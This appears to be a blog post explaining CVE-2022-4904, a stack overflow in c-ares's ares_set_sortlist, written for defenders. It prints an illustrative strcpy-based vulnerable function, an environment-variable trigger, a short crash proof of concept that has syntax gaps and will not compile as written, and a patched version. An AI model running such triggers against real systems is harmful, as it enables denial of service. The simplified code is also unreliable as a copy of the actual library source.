CVE-2022-4904 - Stack Overflow Vulnerability in c-ares via ares_set_sortlist

In late 2022, security researchers discovered a critical flaw in the c-ares library—an open-source C library that handles asynchronous DNS requests. This vulnerability, tracked as CVE-2022-4904, resides in the ares_set_sortlist function. It's a prime example of how simple input validation mistakes can lead to significant risks like stack overflows.

This post will explore how CVE-2022-4904 works, why it’s dangerous, and what you can do about it. We'll break down the vulnerability in straightforward language, show some coding details, and link to further resources.

What is c-ares and ares_set_sortlist?

c-ares is a popular DNS client library used by many applications, from embedded systems to large server software, to perform non-blocking DNS queries.
The ares_set_sortlist function allows developers to specify the order in which DNS results should be sorted—an option mainly used for customizing network behavior.

The Vulnerability Explained

The heart of the problem is in ares_set_sortlist’s failure to correctly validate its input string. If an attacker can control or influence the argument passed to this function, they can make it so long that it overflows the stack, potentially causing a denial of service (DoS), or in some situations, affecting confidentiality and integrity.

Here’s an abstracted version illustrating the core mistake

int ares_set_sortlist(ares_channel channel, const char *sortstr)
{
    char sortlist_buf[64];
    // No check on the length of sortstr!
    strcpy(sortlist_buf, sortstr); // Unsafe: stack overflow if sortstr too long
    // ...process sortlist_buf...
    return ARES_SUCCESS;
}

What’s wrong?

There is no validation of the input length.

- If sortstr is longer than 64 characters, it will *overflow* sortlist_buf, causing unpredictable behavior or a crash.

Impact

- Denial of Service (DoS): If an attacker provides an extremely long string, your application will likely crash (segmentation fault), taking down the server or service.
- Limited Confidentiality & Integrity Risk: With careful exploitation, it might be possible for an attacker to overwrite nearby memory, but this is complicated due to stack protections in modern OSes. Still, the risk can’t be ignored, especially on embedded systems or older platforms.

Who Is at Risk?

- Any application using the c-ares library and letting users influence DNS options (like sortlist) is potentially vulnerable.
- Examples include certain networking tools, proxy servers, or custom applications that let users specify advanced DNS settings.

Here’s how an attacker might trigger the bug

Example exploit payload:

Suppose an application's code looks like

const char *user_input = get_env("MY_SORTLIST");
ares_set_sortlist(my_channel, user_input);

If the user provides a crafted long string such as

export MY_SORTLIST="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."

Where the number of As exceeds 64, strcpy will overwrite the stack, which could cause a segmentation fault.

Proof of Concept

#include <stdlib.h>
#include <string.h>
#include "ares.h"

int main() {
    ares_channel channel;
    // Assume channel init done here

    // Craft a long input string
    char long_input[200];
    memset(long_input, 'A', sizeof(long_input)-1);
    long_input[sizeof(long_input)-1] = ;

    // This will cause stack overflow in vulnerable version!
    ares_set_sortlist(channel, long_input);

    return ;
}

Fix and Mitigation

The c-ares team fixed this by adding input length checks. Here’s what a safe snippet might look like:

#define MAX_SORTLIST 64

int ares_set_sortlist(ares_channel channel, const char *sortstr)
{
    char sortlist_buf[MAX_SORTLIST];
    if (strlen(sortstr) >= MAX_SORTLIST)
        return ARES_EBADSTR; // Error: input too long

    strcpy(sortlist_buf, sortstr); // Now guaranteed safe
    // ...process sortlist_buf...
    return ARES_SUCCESS;
}

Patch / Advisory:
- c-ares security advisory
- GitHub c-ares commit

References

- c-ares Changelog
- CVE-2022-4904 NVD Record
- Upstream GitHub Issue
- Original Patch

Conclusion

CVE-2022-4904 is a reminder that even small oversights in C code, like skipping input validation, can have dangerous consequences. If you rely on c-ares for DNS, make sure you’ve updated to the latest secure version and keep an eye on how external inputs are handled in your applications.

Staying secure often means paying attention to details—especially with network libraries, where the impact of a simple bug can ripple out widely.


*If you found this helpful, share it with your team and review your code for similar patterns. For developers: always use safe string handling functions and validate user input.*

Timeline

Published on: 03/06/2023 23:15:00 UTC
Last modified on: 03/14/2023 14:03:00 UTC